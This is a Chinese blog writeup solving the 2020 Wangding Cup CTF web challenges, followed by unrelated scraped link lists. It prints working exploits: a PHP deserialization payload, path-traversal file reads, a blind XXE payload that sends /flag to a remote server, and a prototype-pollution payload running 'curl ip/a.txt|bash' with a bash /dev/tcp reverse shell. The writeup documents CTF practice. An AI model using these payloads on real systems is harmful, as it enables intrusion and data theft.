本文首发于Leon的Blog,如需转载请注明原创地址并联系作者

AreUSerialz

开题即送源码:

 <?php

 include("flag.php");

 highlight_file(__FILE__);

 class FileHandler {

     protected $op;
protected $filename;
protected $content; function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
} public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
} private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
} private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
} private function output($s) {
echo "[Result]: <br>";
echo $s;
} function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
} } function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
} if(isset($_GET{'str'})) { $str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
} }

审计代码:

GET方式传参给str,然后调用is_valid()函数判断传入的参数是否在ASCII码32到125之间,也就是数字、大小写字符以及常规符号,然后进行反序列化

但是这里会ban掉不可见字符\00,这个在序列化protected属性的对象时会出现,我们需要绕过它,php7.1+版本对属性类型不敏感,所以本地序列化就直接用public就可以绕过了

然后代码很简单,我们可以序列化构造$op=2和$filename=flag.php,调用read()函数读取flag.php,但是在进行read()之前就会调用__destruct()魔术方法,如果$this->op === “2”就会设置$this->op为”1″,而”1″在process()函数中会调用write()函数,不能读取文件。

审计代码发现:process()函数中使用了不严格相等if($this->op == “2”)

所以基于PHP的特性我们可以构造$op=”2e0”进行绕过

然后就是读取文件了,但是直接相对路径读flag.php没用,不知道为什么

用绝对路径/var/www/html读也没用

我发现404页面有开发文档:https://hub.docker.com/r/nimmis/alpine-apache/

然后发现了web路径:

所以猜测flag.php路径是:/web/html/flag.php

直接读取不行,用伪协议读可以

payload:

 <?php
class FileHandler { public $op = "2e0";
public $filename = "php://filter/read=convert.base64-encode/resource=/web/html/flag.php";
} $a = new FileHandler();
echo urlencode(serialize($a)); O%3A11%3A%22FileHandler%22%3A2%3A%7Bs%3A2%3A%22op%22%3Bs%3A3%3A%222e0%22%3Bs%3A8%3A%22filename%22%3Bs%3A67%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3D%2Fweb%2Fhtml%2Fflag.php%22%3B%7D

返回:

Jmx0Oz9waHANCg0KJGZsYWcgPSAiZmxhZ3s4NmFkMmU5My0yNTk2LTRkNDItODcyYS1hMjJlNWViNTI5Zjh9IjsNCg==

Base64解码得到flag:flag{86ad2e93-2596-4d42-872a-a22e5eb529f8}


filejava

打开是一个文件上传页面,看了下页面是java写的,题目名称也说了

上传个文件,然后可以下载,复制下载链接一看:

http://e4d82ea6f1f8426f99d557844d204d6a81fd39d4ca25413c.cloudgame2.ichunqiu.com:8080/file_in_java/DownloadServlet?filename=46ecab01-0932-480e-9509-9e93672e94c8_a.php

可能存在任意文件下载,尝试:

http://e4d82ea6f1f8426f99d557844d204d6a81fd39d4ca25413c.cloudgame2.ichunqiu.com:8080/file_in_java/DownloadServlet?filename=../../../../../../../../../etc/passwd

发现可以下载到/etc/passwd

又根据报错知道是Tomcat于是读取web.xml:

http://e4d82ea6f1f8426f99d557844d204d6a81fd39d4ca25413c.cloudgame2.ichunqiu.com:8080/file_in_java/DownloadServlet?filename=../../../../../../../../../usr/local/tomcat/webapps/file_in_java/WEB-INF/web.xml

得到:

 <?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://java.sun.com/xml/ns/javaee" xsi:schemaLocation="http://java.sun.com/xml/ns/javaee http://java.sun.com/xml/ns/javaee/web-app_2_5.xsd" id="WebApp_ID" version="2.5">
<display-name>file_in_java</display-name>
<welcome-file-list>
<welcome-file>upload.jsp</welcome-file>
</welcome-file-list>
<servlet>
<description></description>
<display-name>UploadServlet</display-name>
<servlet-name>UploadServlet</servlet-name>
<servlet-class>cn.abc.servlet.UploadServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>UploadServlet</servlet-name>
<url-pattern>/UploadServlet</url-pattern>
</servlet-mapping>
<servlet>
<description></description>
<display-name>ListFileServlet</display-name>
<servlet-name>ListFileServlet</servlet-name>
<servlet-class>cn.abc.servlet.ListFileServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>ListFileServlet</servlet-name>
<url-pattern>/ListFileServlet</url-pattern>
</servlet-mapping>
<servlet>
<description></description>
<display-name>DownloadServlet</display-name>
<servlet-name>DownloadServlet</servlet-name>
<servlet-class>cn.abc.servlet.DownloadServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>DownloadServlet</servlet-name>
<url-pattern>/DownloadServlet</url-pattern>
</servlet-mapping>
</web-app>

之后根据xml中的<servlet-class>把对应class都下载下来,然后反编译

java web目录参考:https://www.cnblogs.com/jpfss/p/9584075.html

 /DownloadServlet
?filename=../../../classes/cn/abc/servlet/UploadServlet.class
?filename=../../../classes/cn/abc/servlet/ListFileServlet.class
?filename=../../../classes/cn/abc/servlet/UploadServlet.class
?filename=../../../../META-INF/MANIFEST.MF

主要利用点是在UploadServlet.java中有如下代码:

 if (filename.startsWith("excel-") && "xlsx".equals(fileExtName)) {

   try {
Workbook wb1 = WorkbookFactory.create(in);
Sheet sheet = wb1.getSheetAt(0);
System.out.println(sheet.getFirstRowNum());
} catch (InvalidFormatException e) {
System.err.println("poi-ooxml-3.10 has something wrong");
e.printStackTrace();
}
}

这里考到了CVE-2014-3529类似的漏洞

这部分代码逻辑表示,如果我们的文件名是excel-开始加上.xlsx结尾,就会用poi解析xlsx。

因为提示flag在根目录,正好可以用这个xxe打。不过没回显,所以要引用外部xml盲打xxe。

首先是本地新建一个excel-1.xlsx文件,然后改后缀为zip,然后把[Content_Types].xml文件解压出来

修改[Content_Types].xml的内容为:

 <?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE try[
<!ENTITY % int SYSTEM "http://***.***.***.***/a.xml">
%int;
%all;
%send;
]>
<root>&send;</root>
<Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types"><Default Extension="rels" ContentType="application/vnd.openxmlformats-package.relationships+xml"/><Default Extension="xml" ContentType="application/xml"/><Override PartName="/xl/workbook.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.sheet.main+xml"/><Override PartName="/xl/worksheets/sheet1.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.worksheet+xml"/><Override PartName="/xl/theme/theme1.xml" ContentType="application/vnd.openxmlformats-officedocument.theme+xml"/><Override PartName="/xl/styles.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.styles+xml"/><Override PartName="/docProps/core.xml" ContentType="application/vnd.openxmlformats-package.core-properties+xml"/><Override PartName="/docProps/app.xml" ContentType="application/vnd.openxmlformats-officedocument.extended-properties+xml"/></Types>

然后把这个文件再压缩回去,替换掉原来那个,然后把后缀zip改为xlsx

在自己的vps上新建a.xml文件,内容为:

 <!ENTITY % payl SYSTEM "file:///flag">
<!ENTITY % all "<!ENTITY % send SYSTEM 'http://59.***.***.***:8500/?%payl;'>">

然后监听8500端口,上传excel-1.xlsx即可收到flag


notes

考点:CVE-2019-10795 undefsafe原型链污染

参考:https://snyk.io/vuln/SNYK-JS-UNDEFSAFE-548940

app.js源码:

 var express = require('express');
var path = require('path');
const undefsafe = require('undefsafe');
const { exec } = require('child_process'); var app = express();
class Notes {
constructor() {
this.owner = "whoknows";
this.num = 0;
this.note_list = {};
} write_note(author, raw_note) {
this.note_list[(this.num++).toString()] = {"author": author,"raw_note":raw_note};
} get_note(id) {
var r = {}
undefsafe(r, id, undefsafe(this.note_list, id));
return r;
} edit_note(id, author, raw) {
undefsafe(this.note_list, id + '.author', author);
undefsafe(this.note_list, id + '.raw_note', raw);
} get_all_notes() {
return this.note_list;
} remove_note(id) {
delete this.note_list[id];
}
} var notes = new Notes();
notes.write_note("nobody", "this is nobody's first note"); app.set('views', path.join(__dirname, 'views'));
app.set('view engine', 'pug'); app.use(express.json());
app.use(express.urlencoded({ extended: false }));
app.use(express.static(path.join(__dirname, 'public'))); app.get('/', function(req, res, next) {
res.render('index', { title: 'Notebook' });
}); app.route('/add_note')
.get(function(req, res) {
res.render('mess', {message: 'please use POST to add a note'});
})
.post(function(req, res) {
let author = req.body.author;
let raw = req.body.raw;
if (author && raw) {
notes.write_note(author, raw);
res.render('mess', {message: "add note sucess"});
} else {
res.render('mess', {message: "did not add note"});
}
}) app.route('/edit_note')
.get(function(req, res) {
res.render('mess', {message: "please use POST to edit a note"});
})
.post(function(req, res) {
let id = req.body.id;
let author = req.body.author;
let enote = req.body.raw;
if (id && author && enote) {
notes.edit_note(id, author, enote);
res.render('mess', {message: "edit note sucess"});
} else {
res.render('mess', {message: "edit note failed"});
}
}) app.route('/delete_note')
.get(function(req, res) {
res.render('mess', {message: "please use POST to delete a note"});
})
.post(function(req, res) {
let id = req.body.id;
if (id) {
notes.remove_note(id);
res.render('mess', {message: "delete done"});
} else {
res.render('mess', {message: "delete failed"});
}
}) app.route('/notes')
.get(function(req, res) {
let q = req.query.q;
let a_note;
if (typeof(q) === "undefined") {
a_note = notes.get_all_notes();
} else {
a_note = notes.get_note(q);
}
res.render('note', {list: a_note});
}) app.route('/status')
.get(function(req, res) {
let commands = {
"script-1": "uptime",
"script-2": "free -m"
};
for (let index in commands) {
exec(commands[index], {shell:'/bin/bash'}, (err, stdout, stderr) => {
if (err) {
return;
}
console.log(`stdout: ${stdout}`);
});
}
res.send('OK');
res.end();
}) app.use(function(req, res, next) {
res.status(404).send('Sorry cant find that!');
}); app.use(function(err, req, res, next) {
console.error(err.stack);
res.status(500).send('Something broke!');
}); const port = 8080;
app.listen(port, () => console.log(`Example app listening at http://localhost:${port}`))

通过上面参考链接可知undefsafe包,版本<2.0.3有原型链污染漏洞

谷歌一下undefsafe,它的基本功能是取出字典中的对象或者更新字典中的对象:

 var object = {
a: {
b: [1,2,3]
}
}; // modified object
var res = undefsafe(object, 'a.b.0', 10); console.log(object); // { a: { b: [10, 2, 3] } }
//这里可以看见1被替换成了10

参考:https://github.com/remy/undefsafe

审计代码发现由于/status路由下有命令执行:

 app.route('/status')
.get(function(req, res) {
let commands = {
"script-1": "uptime",
"script-2": "free -m"
};
for (let index in commands) {
exec(commands[index], {shell:'/bin/bash'}, (err, stdout, stderr) => {
if (err) {
return;
}
console.log(`stdout: ${stdout}`);
});
}
res.send('OK');
res.end();
})

所以可以通过污染commands这个字典,例如令commads.a=whoami,然后访问/status它会遍历执行commands字典中的命令

/edit_note下可以传三个参数,调用edit_note(id, author, raw) 函数,然后使用了undefsafe进行字典的修改

因为undefsafe操作的对象可控,所以我们可以进行原型链污染

payload:

 id=__proto__&author=curl ip/a.txt|bash&raw=123
//a.txt内容为:
bash -i >& /dev/tcp/ip/port 0>&1

反弹shell,flag在根目录下


trace

这个是insert注入,好像复现不了了orz

网鼎杯2020青龙组writeup-web的更多相关文章

  1. 【网鼎杯2020青龙组】Web WriteUp

    AreUSerialz 打开题目直接给出了源代码 <?php include("flag.php"); highlight_file(__FILE__); class Fil ...

  2. 【网鼎杯2020白虎组】Web WriteUp [picdown]

    picdown 抓包发现存在文件包含漏洞: 在main.py下面暴露的flask的源代码 from flask import Flask, Response, render_template, req ...

  3. 【网鼎杯2020朱雀组】Web WriteUp

    nmap nmap语法,很简单. 127.0.0.1' -iL /flag -oN vege.txt ' phpweb 打开,抓包,发现可以传递函数和其参数 试了一下很多函数都被过滤了,不能执行系统命 ...

  4. [网鼎杯 2020 青龙组]AreUSerialz

    题目分析 <?php include("flag.php"); highlight_file(FILE); class FileHandler { protected $op ...

  5. BUUCTF-[网鼎杯 2020 青龙组]AreUSerialz

    BUUCTF-[网鼎杯 2020 青龙组]AreUSerialz 看题 <?php include("flag.php"); highlight_file(__FILE__) ...

  6. 刷题[网鼎杯 2020 朱雀组]phpweb

    解题思路 打开是一个蛮有意思的背景,众生皆懒狗,是自己没错了.源代码看一看,啥都没有.抓个包 诶,一看到func和p两个参数,想到了call_user_func(). 尝试着把date改成system ...

  7. BUUCTF | [网鼎杯 2020 朱雀组]phpweb

    一道比较简单的题,不过对PHP还是不够熟悉 知识点 1.PHP date函数 PHP date() 函数用于对日期或时间进行格式化. 语法 date(format,timestamp) 参数 描述 f ...

  8. [网鼎杯 2020 朱雀组]phpweb-1|反序列化

    1.打开界面之后界面一直在刷新,检查源代码也未发现提示信息,但是在检查中发现了两个隐藏的属性:func和p,抓包进行查看一下,结果如下: 2.对两个参数与返回值进行分析,我们使用dat时一般是这种格式 ...

  9. 网鼎杯2020 AreUSerialz

    0x00 前言 ...有一说一,赵总的BUUCTF上的这道题目并没有复现到精髓.其实感觉出题人的题目本身没有那么简单的,只不过非预期实在是太简单惹. 涉及知识点: 1.php中protected变量反 ...

随机推荐

  1. input框处理大全

    1.去掉谷歌input记住账号或密码时默认出现的黄色背景: 直接用css的内阴影来覆盖黄色(代码中 white可换成其他颜色) input:-webkit-autofill { -webkit-box ...

  2. centos7.4安装docker

    安装docker的前提条件 1)关闭系统的防火墙和selinux 2)  同步系统时间 3)系统必须是centos7以上 移除旧版本yum remove docker docker-client do ...

  3. java关于throw Exception的一个小秘密

    目录 简介 throw小诀窍 总结 java关于throw Exception的一个小秘密 简介 之前的文章我们讲到,在stream中处理异常,需要将checked exception转换为unche ...

  4. SpringCloud系列之集成Dubbo应用篇

    目录 前言 项目版本 项目说明 集成Dubbo 2.6.x 新项目模块 老项目模块 集成Dubbo 2.7.x 新项目模块 老项目模块 参考资料 系列文章 前言 SpringCloud系列开篇文章就说 ...

  5. android开发之自定义View 详解 资料整理 小冰原创整理,原创作品。

    2019独角兽企业重金招聘Python工程师标准>>> /** * 作者:David Zheng on 2015/11/7 15:38 * * 网站:http://www.93sec ...

  6. 记坑: ConfigurationProperties 和 RefreshScope

    为什么80%的码农都做不了架构师?>>>   当使用spring-cloud-config 和 spring-boot-configuration-processor时 使用bean ...

  7. 《WCF技术内幕》翻译3:第1部分_第1章_蓝月亮:普遍需求和普遍概念

    第一部分:WCF介绍    章节目录:    第1章:蓝月亮    第2章:面向服务    第3章:消息交换模式.拓扑和编排    第4章:WCF 101 第1章:蓝月亮    商业和市场对软件系统新 ...

  8. 怎么避免写出慢SQL

    在大多数实际的系统中,慢 SQL 消耗掉的数据库资源,往往是正常 SQL 的几倍.几十倍甚至几百倍. 怎样才能在开发阶段尽量避免写出慢 SQL 呢? 估算数据量 慢 SQL 对数据库的影响,是一个量变 ...

  9. unittest 管理接口用例(数据分离-读取excel)

    1.公共模块 ---> login.xls """ common (package) ---> ReadFile.py """ ...

  10. Listener:监听器

    目录 Listener概述 ServletContextListener Listener概述 web的三大组件之一 Servlet.Filter.Listener 事件监听机制 事件:一件事情 事件 ...